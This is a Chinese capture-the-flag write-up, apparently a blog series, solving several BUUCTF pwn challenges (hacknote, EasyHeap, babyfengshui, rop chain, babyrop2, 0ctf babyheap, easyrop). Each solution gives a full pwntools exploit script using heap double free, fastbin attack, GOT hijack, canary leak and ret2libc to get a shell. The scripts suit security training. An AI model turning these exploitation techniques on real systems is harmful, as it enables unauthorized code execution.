1606984117052

故考虑通过fastbin double free分配到同一个堆块后改写函数指针为后门函数地址后打印即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p = process('./hacknote') # remote('node3.buuoj.cn',28832)
backdoor = 0x8048945

def cmd(command:int):
p.recvuntil(b"Your choice :")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Note size :")
p.sendline(str(size).encode())
p.recvuntil(b"Content :")
p.send(content)

def free(index:int):
cmd(2)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())

def show(index:int):
cmd(3)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())

def exp():
new(8, "arttnba3") # idx 0
free(0)
free(0)
new(0x20, "arttnba3") # idx 1
new(8, p32(backdoor)) # idx 2, overlapping
show(0)
p.interactive()

if __name__ == "__main__":
exp()

运行即可getshell

image.png

0x02B.[ZJCTF 2019]EasyHeap - fastbin attack

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析,可以发现该程序存在分配、编辑、释放堆块的功能

漏洞点在于编辑堆块的地方,可以输入任意长度内容造成堆溢出

image.png

利用这个漏洞我们可以修改fastbin中的fd分配fake chunk来进行任意地址写

在bss段附近我们可以找到一个size合适的地方

image.png

由于plt表中就有system函数,故考虑分配一个bss段上的fake chunk后修改任一堆块指针为free@got后修改free@gotsystem@plt后free掉一个内容为"/bin/sh\x00"的chunk即可get shell

image.png

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
p = remote('node3.buuoj.cn',26930)
e = ELF('./easyheap')
backdoor = 0x8048945
context.log_level = 'DEBUG'

def cmd(command:int):
p.recvuntil(b"Your choice :")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Size of Heap : ")
p.sendline(str(size).encode())
p.recvuntil(b"Content of heap:")
p.send(content)

def edit(index:int, size:int, content):
cmd(2)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())
p.recvuntil(b"Size of Heap : ")
p.sendline(str(size).encode())
p.recvuntil(b"Content of heap : ")
p.send(content)

def free(index:int):
cmd(3)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())

def exp():
new(0x60, "arttnba3") # idx 0
new(0x60, "arttnba3") # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 3
new(0x60, "arttnba3") # idx 4

free(2)
payload = b'A' * 0x60 + p64(0) + p64(0x71) + p64(0x6020a0 - 3 + 0x10)
edit(1, 114514, payload)
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 5, fake chunk on the bss

payload2 = b'\xaa' * 3 + p64(0) * 4 + p64(e.got['free'])
edit(5, 0x100, payload2)
edit(0, 0x10, p64(e.plt['system']))

new(0x60, b'/bin/sh\x00')
free(6)
p.interactive()


if __name__ == "__main__":
exp()

运行即可getshell

image.png

其实有一个cat flag的后门函数,不过pwn的最终目的自然是getshell,所以这个后门函数对👴来说不存在的

0x02C.babyfengshui_33c3_2016 - got table hijack

堆题集中地带请小心

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

我们不难看出分配堆块时所生成的大致结构应当如下,且该结构体malloc的大小为0x80,处在unsorted bin 范围内

image.png

漏洞点在于对输入长度的检测,它是检测的是我们所输入的长度是否大于从description chunk的addr到struct chunk的prev_size的长度

image.png

在常规情况下我们似乎只能够覆写掉PREV_SIZE的一部分,不痛不痒

但是考虑这样的一种情况:我们先分配两个大块(chunk4,其中第一个块的size要在unsorted范围内),之后释放掉第一个大块,再分配一个size更大的块,unsorted bin内就会从这个大chunk(由两个chunk合并而来)中切割一个大chunk给到description,之后再从下方的top chunk切割0x90来给到struct,这个时候*由于对length的错误判定就会导致我们有机会覆写第二个大块中的内容

image.png

故考虑先覆写第二个大块中的description addr为free@got后泄漏出libc的基址,后再修改free@got为system函数地址后释放一个内容为"/bin/sh"的chunk即可通过system("/bin/sh")来get shell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
p = process('./babyfengshui_33c3_2016') # remote('node3.buuoj.cn',26486)
e = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')

def cmd(command:int):
p.recvuntil(b"Action: ")
p.sendline(str(command).encode())

def new(size:int, name, length:int, descryption):
cmd(0)
p.recvuntil(b"size of description: ")
p.sendline(str(size).encode())
p.recvuntil(b"name: ")
p.sendline(name)
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)

def free(index:int):
cmd(1)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())

def show(index:int):
cmd(2)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())

def edit(index:int, length:int, descryption):
cmd(3)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)

def exp():
new(0x80, "arttnba3", 0x10, "arttnba3") # idx 0
new(0x10, "arttnba3", 0x10, "arttnba3") # idx 1
new(0x10, "arttnba3", 0x10, "/bin/sh\x00") # idx 2
free(0)

big_size = 0x80 + 8 + 0x80
padding_length = 0x80 + 8 + 0x80 + 8 + 0x10 + 8
new(big_size, "arttnba3", padding_length + 4, b'A' * padding_length + p32(e.got['free'])) # idx 3
show(1)

p.recvuntil(b"description: ")
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.sym['free']

edit(1, 0x10, p32(libc_base + libc.sym['system']))
free(2)
p.interactive()

if __name__ == "__main__":
exp()

运行即可get shell

image.png

以前做堆都是64位起手,这32位的堆题属实把我坑到了,我愣是拿着64位的libc怼了半天,以及毫不思索就写的0x10的chunk头

本题原题来自于C3CTF,歪国人的题目质量其实还是可以的(当然现在我也就只能写得出签到题233333

0x02D.picoctf_2018_rop chain - ret2libc

惯例的checksec, 只开了NX保护

image.png

拖入IDA进行分析

image.png

很大很直接的一个溢出的漏洞

由于没有能直接getshell的gadget,还是考虑ret2libc:构造rop链泄露libc基址后执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
p = process('./PicoCTF_2018_rop_chain') # remote('node3.buuoj.cn', 28376)
e = ELF('./PicoCTF_2018_rop_chain')
offset = 0x18

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.recv()
p.sendline(payload1)
puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

运行即可get shell

image.png

0x02E.bjdctf_2020_babyrop2 - fmtstr + ret2libc

惯例的checksec,开了NX和canary

image.png

在gift函数中可以泄露canary

image.png

在vuln中直接就有一个溢出

image.png

那么先泄露canary再ret2libc即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
p = process('./bjdctf_2020_babyrop2') # remote('node3.buuoj.cn', 26028)
e = ELF('./bjdctf_2020_babyrop2')
offset = 0x20 - 8
pop_rdi_ret = 0x400993
#context.log_level = 'DEBUG'

payload1 = '%7$p'
p.recv()
p.sendline(payload1)
canary = int(p.recvuntil('\n', drop = True), 16)
p.recv()

payload2 = b'A' * offset + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.sym['vuln'])
p.sendline(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload3 = b'A' * offset + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload3)
p.interactive()

运行即可getshell

image.png

0x02F.jarvisoj_test_your_memory - ret2text

惯例的checksec, 只开了NX保护

image.png

拖入IDA进行分析

image.png

存在溢出

image.png

存在system函数

image.png

存在一个cat flag字符串

那直接system(“cat flag”)就行了

构造exp如下:

1

运行即可得到flag

image.png

注:这道题很坑,题目给的二进制文件和部署在服务器上的二进制文件大相径庭,所以没能get shell…

0x30.[ZJCTF 2019]Login -

0x???.0ctf_2017_babyheap - Unsorted bin leak + Fastbin Attack + one_gadget

出现重复的题是真的离谱

过程见前面0x013,这里就不再赘叙了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = remote('node3.buuoj.cn',27143)#process('./babyheap_0ctf_2017')#
libc = ELF('./libc-2.23.so')

def alloc(size:int):
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))

def fill(index:int,content):
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Size: ')
p.sendline(str(len(content)))
p.recvuntil('Content: ')
p.send(content)

def free(index:int):
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def dump(index:int):
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()

alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3
alloc(0x80) #idx4

free(1) #idx1
free(2) #idx2

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

alloc(0x10) #idx1, the former idx2
alloc(0x10) #idx2, the former idx4

payload = p64(0)*3 + p64(0x91)
fill(3,payload)
alloc(0x80) #idx5, prevent the top chunk combine it
free(4) #idx2 got into unsorted bin, fd points to the main_arena

main_arena = u64(dump(2)[:8].strip().ljust(8,b'\x00')) - 0x58
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4526a

alloc(0x60) #idx4
free(4) #idx2 got into fastbin
payload = p64(malloc_hook - 0x23)
fill(2,payload) #overwrite fd to fake chunk addr

alloc(0x60) #idx4
alloc(0x60) #idx6, our fake chunk

payload = b'A'*0x13 + p64(one_gadget)
fill(6,payload)

alloc(0x10)
p.interactive()

image.png

0x???.mrctf2020_easyrop - ret2text

从比较靠后的无人区挑了一道简单题来做2333(为了混分

惯例的checksec,发现只开了栈不可执行保护

image.png

主函数中根据我们所输入的数字进入不同的函数,输入7则在进入相应的函数之后退出

image.png

同时我们可以发现存在能够直接getshell的gadget

image.png

虽然说几个函数都是向main中的v5上写入,但是最大的一个函数仅可以写入0x300字节,溢出到rbp要0x310字节

image.png

不过我们可以发现,在byby()函数中程序会将v5看作为一个字符串,并在字符串末尾开始读入用户输入

image.png

由于hehe()能够读入0x300字节,故我们考虑先使用hehe()函数构造一个长度为0x2ff的字符串,再调用byby()函数进行读入,便可以溢出控制主函数的返回地址返回至system("/bin/sh")

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',29482)#process('./mrctf2020_easyrop')#
p.sendline('2')
sleep(1)
p.send(b'A'*(0x300-1)+b'\x00')
sleep(1)
p.sendline('7')
sleep(1)
p.send(b'A'*0x11+p64(0xdeadbeef)+p64(0x40072a))
p.interactive()

运行脚本即得flag

image.png

Welcome to my other publishing channels